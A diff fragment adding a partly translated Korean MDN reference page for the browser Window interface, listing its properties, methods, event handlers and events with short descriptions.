+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
+ <dt>{{domxref("Window.visualViewport")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the current window.</dd>
+ <dt><code>window[0]</code>, <code>window[1]</code>, etc.</dt>
+ <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_properties">Deprecated properties</h3>
+
+<dl>
+ <dt>{{domxref("Window.content")}} and <code>Window._content</code> {{Non-standard_inline}} {{deprecated_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{deprecated_inline}}</dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{deprecated_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{deprecated_inline}}</dt>
+ <dd>Synonym of {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Multiple storage objects that were used for storing data across multiple pages.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>The time in milliseconds since epoch at which the current animation cycle began. Use {{domxref("Animation.startTime")}} instead.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
+ <dt>{{domxref("Window.orientation")}} {{readOnlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{deprecated_inline}}</dt>
+ <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{deprecated_inline}}</dt>
+ <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
+</dl>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<p>{{domxref("EventTarget")}}의 메서드를 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>경고 대화 상자를 표시합니다.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Sets focus away from the window.</dd>
+ <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Closes the current window.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Displays a dialog with a message that the user needs to respond to.</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Used to trigger an event.</dd>
+ <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
+ <dd>Writes a message to the console.</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Searches for a given string in a window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Sets focus on the current window.</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+ <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
+ <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+ <dt>{{domxref("Window.matchMedia()")}}</dt>
+ <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimizes the window.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Moves the current window by a specified amount.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Moves the window to the specified coordinates.</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Opens a new window.</dd>
+ <dt>{{domxref("Window.postMessage()")}}</dt>
+ <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Opens the Print Dialog to print the current document.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()")}}</dt>
+ <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables the scheduling of tasks during a browser's idle periods.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Dynamically resizes window.</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+ <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
+ <dd>Changes the cursor for the current window</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Executes a function after the browser has finished other heavy tasks</dd>
+ <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
+ <dd>Toggles a user's ability to resize a window.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
+ <dd>Sizes the window according to its content.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>This method stops window loading.</dd>
+ <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
+ <dd>Updates the state of commands of the current chrome window (UI).</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Register an event handler to a specific event type on the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Removes an event listener from the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="deprecated_methods">deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Moves back one in the window history. This method is deprecated; you should instead use {{domxref("History.back", "window.history.back()")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Moves the window one document forward in the history. This method is deprecated; you should instead use {{domxref("History.forward", "window.history.forward()")}}.</dd>
+ <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Flashes the application icon.</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the browser to the home page.</dd>
+ <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+ <dt>{{domxref("Window.showModalDialog()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Displays a modal dialog.</dd>
+</dl>
+</div>
+
+<h2 id="이벤트_처리기">이벤트 처리기</h2>
+
+<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p>
+
+<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>An event handler property for any ambient light levels changes</dd>
+ <dt>{{domxref("Window.ondevicemotion")}}</dt>
+ <dd>Called if accelerometer detects a change (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}}</dt>
+ <dd>Called when the orientation is changed (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}}</dt>
+ <dd>An event handler property for any device orientation changes.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>An event handler property for device proximity event</dd>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}}</dt>
+ <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>An event handler property for paint events on the window.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>An event handler property for user proximity events.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+</dl>
+
+<h3 id="Event_handlers_implemented_from_elsewhere">Event handlers implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>An event handler property for before-unload events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Called after the window loses focus, such as due to a popup.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>An event handler property for change events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Called after the ANY mouse button is pressed &amp; released</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Called when a double click is made with ANY mouse button.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Called after the window is closed</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Called when the RIGHT mouse button is pressed</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Called when the value of an &lt;input&gt; element changes</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Called when ANY mouse button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Called continously when the mouse is moved inside the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Called when the pointer leaves the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Called when the pointer enters the window</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Called when ANY mouse button is released</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Called when network connection is lost. See {{event("offline")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Called when network connection is established. See {{event("online")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Called when a back button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Called when a form is reset</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Called continuously as you are resizing the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Called when the mouse wheel is rotated around any axis</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Called after text in an input field is selected</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Called when a form is submitted</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Called when the user navigates away from the page.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>Listen to these events using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt>{{domxref("Window/error_event", "error")}}</dt>
+ <dd>Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} property.</dd>
+ <dt>{{domxref("Window/languagechange_event", "languagechange")}}</dt>
+ <dd>Fired at the global scope object when the user's preferred language changes.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onlanguagechange">onlanguagechange</a></code> property.</dd>
+ <dt>{{domxref("Window/orientationchange_event", "orientationchange")}}</dt>
+ <dd>Fired when the orientation of the device has changed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/onorientationchange">onorientationchange</a></code> property.</dd>
+ <dt>{{domxref("Window/devicemotion_event", "devicemotion")}}</dt>
+ <dd>Fired at a regular interval, indicating the amount of physical force of acceleration the device is receiving and the rate of rotation, if available.</dd>
+ <dt>{{domxref("Window/deviceorientation_event", "deviceorientation")}}</dt>
+ <dd>Fired when fresh data is available from the magnetometer orientation sensor about the current orientation of the device as compared to the Earth coordinate frame.</dd>
+ <dt>{{domxref("Document/defaultView/resize_event", "resize")}}</dt>
+ <dd>Fired when the window has been resized.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onresize">onresize</a></code> property.</dd>
+ <dt>{{domxref("Document/defaultView/storage_event", "storage")}}</dt>
+ <dd>Fired when a storage area (<code>localStorage</code> or <code>sessionStorage</code>) has been modified in the context of another document.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onstorage">onstorage</a></code> property.</dd>
+</dl>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<dl>
+ <dt>{{domxref("Window/animationcancel_event", "animationcancel")}}</dt>
+ <dd>Fired when an animation unexpectedly aborts.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code> property.</dd>
+ <dt>{{domxref("Window/animationend_event", "animationend")}}</dt>
+ <dd>Fired when an animation has completed normally.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationend">onanimationend</a></code> property.</dd>
+ <dt>{{domxref("Window/animationiteration_event", "animationiteration")}}</dt>
+ <dd>Fired when an animation iteration has completed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationiteration">onanimationiteration</a></code> property.</dd>
+ <dt>{{domxref("Window/animationstart_event", "animationstart")}}</dt>
+ <dd>Fired when an animation starts.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart">onanimationstart</a></code> property.</dd>
+</dl>
+
+<h3 id="Clipboard_events">Clipboard events</h3>
+
+<dl>
+ <dt>{{domxref("Window/clipboardchange_event", "clipboardchange")}}</dt>
+ <dd>Fired when the system clipboard content changes.</dd>
+ <dt>{{domxref("Window/copy_event", "copy")}}</dt>
+ <dd>Fired when the user initiates a copy action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncopy"><code>oncopy</code></a> property.</dd>
+ <dt>{{domxref("Window/cut_event", "cut")}}</dt>
+ <dd>Fired when the user initiates a cut action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncut"><code>oncut</code></a> property.</dd>
+ <dt>{{domxref("Window/paste_event", "paste")}}</dt>
+ <dd>Fired when the user initiates a paste action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/onpaste"><code>onpaste</code></a> property.</dd>
+</dl>
+
+<h3 id="Connection_events">Connection events</h3>
+
+<dl>
+ <dt>{{domxref("Window/offline_event", "offline")}}</dt>
+ <dd>Fired when the browser has lost access to the network and the value of <code>navigator.onLine</code> has switched to <code>false</code>.<br>
+ Also available via the {{domxref("WindowEventHandlers.onoffline", "onoffline")}} property.</dd>
+ <dt>{{domxref("Window/online_event", "online ")}}<code><a href="/en-US/docs/Web/API/Window/online_event"> </a></code></dt>
+ <dd>Fired when the browser has gained access to the network and the value of <code>navigator.onLine</code> has switched to <code>true</code>.<br>
+ Also available via the {{domxref("WindowEventHandlers.ononline", "ononline")}} property.</dd>
+</dl>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<dl>
+ <dt>{{domxref("Window/blur_event", "blur")}}</dt>
+ <dd>Fired when an element has lost focus.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onblur"><code>onblur</code></a> property.</dd>
+ <dt>{{domxref("Window/focus_event", "focus")}}</dt>
+ <dd>Fired when an element has gained focus.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onfocus"><code>onfocus</code></a> property</dd>
+</dl>
+
+<h3 id="Gamepad_events">Gamepad events</h3>
+
+<dl>
+ <dt>{{domxref("Window/gamepadconnected_event", "gamepadconnected")}}</dt>
+ <dd>Fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/ongamepadconnected">ongamepadconnected</a></code> property.</dd>
+ <dt>{{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}}</dt>
+ <dd>Fired when the browser detects that a gamepad has been disconnected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/ongamepaddisconnected">ongamepaddisconnected</a></code> property</dd>
+</dl>
+
+<h3 id="History_events">History events</h3>
+
+<dl>
+ <dt>{{domxref("Window/hashchange_event", "hashchange")}}</dt>
+ <dd>Fired when the fragment identifier of the URL has changed (the part of the URL beginning with and following the <code>#</code> symbol).<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onhashchange">onhashchange</a></code> property.</dd>
+ <dt>{{domxref("Window/pagehide_event", "pagehide")}}</dt>
+ <dd>Sent when the browser hides the current document while in the process of switching to displaying in its place a different document from the session's history. This happens, for example, when the user clicks the Back button or when they click the Forward button to move ahead in session history.<br>
+ Also available through the <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/onpagehide">onpagehide</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/pageshow_event", "pageshow")}}</dt>
+ <dd>Sent when the browser makes the document visible due to navigation tasks, including not only when the page is first loaded, but also situations such as the user navigating back to the page after having navigated to another within the same tab.<br>
+ Also available using the <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/onpageshow">onpageshow</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/popstate_event", "popstate")}}</dt>
+ <dd>Fired when the active history entry changes.<br>
+ Also available using the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onpopstate">onpopstate</a></code> event handler property.</dd>
+</dl>
+
+<h3 id="Load_unload_events">Load &amp; unload events</h3>
+
+<dl>
+ <dt>{{domxref("Window/beforeunload_event", "beforeunload")}}</dt>
+ <dd>Fired when the window, the document and its resources are about to be unloaded.<br>
+ Also available via the {{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}} property.</dd>
+ <dt>{{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}</dt>
+ <dd>Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.</dd>
+ <dt>{{domxref("Window/load_event", "load")}}</dt>
+ <dd>Fired when the whole page has loaded, including all dependent resources such as stylesheets images.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onload", "onload")}} property.</dd>
+ <dt>{{domxref("Window/unload_event", "unload")}}</dt>
+ <dd>Fired when the document or a child resource is being unloaded.<br>
+ Also available via the {{domxref("WindowEventHandlers/onunload", "onunload")}} property.</dd>
+</dl>
+
+<h3 id="Manifest_events">Manifest events</h3>
+
+<dl>
+ <dt>{{domxref("Window/appinstalled_event", "appinstalled")}}</dt>
+ <dd>Fired when the browser has successfully installed a page as an application.<br>
+ Also available via the {{domxref("Window/onappinstalled", "onappinstalled")}} property.</dd>
+ <dt>{{domxref("Window/beforeinstallprompt_event", "beforeinstallprompt")}}</dt>
+ <dd>Fired when a user is about to be prompted to install a web application.<br>
+ Also available via the {{domxref("Window/onbeforeinstallprompt", "onbeforeinstallprompt")}} property.</dd>
+</dl>
+
+<h3 id="Messaging_events">Messaging events</h3>
+
+<dl>
+ <dt>{{domxref("Window/message_event", "message")}}</dt>
+ <dd>Fired when the window receives a message, for example from a call to {{domxref("Window/postMessage", "Window.postMessage()")}} from another browsing context.<br>
+ Also available via the {{domxref("WindowEventHandlers/onmessage", "onmessage")}} property.</dd>
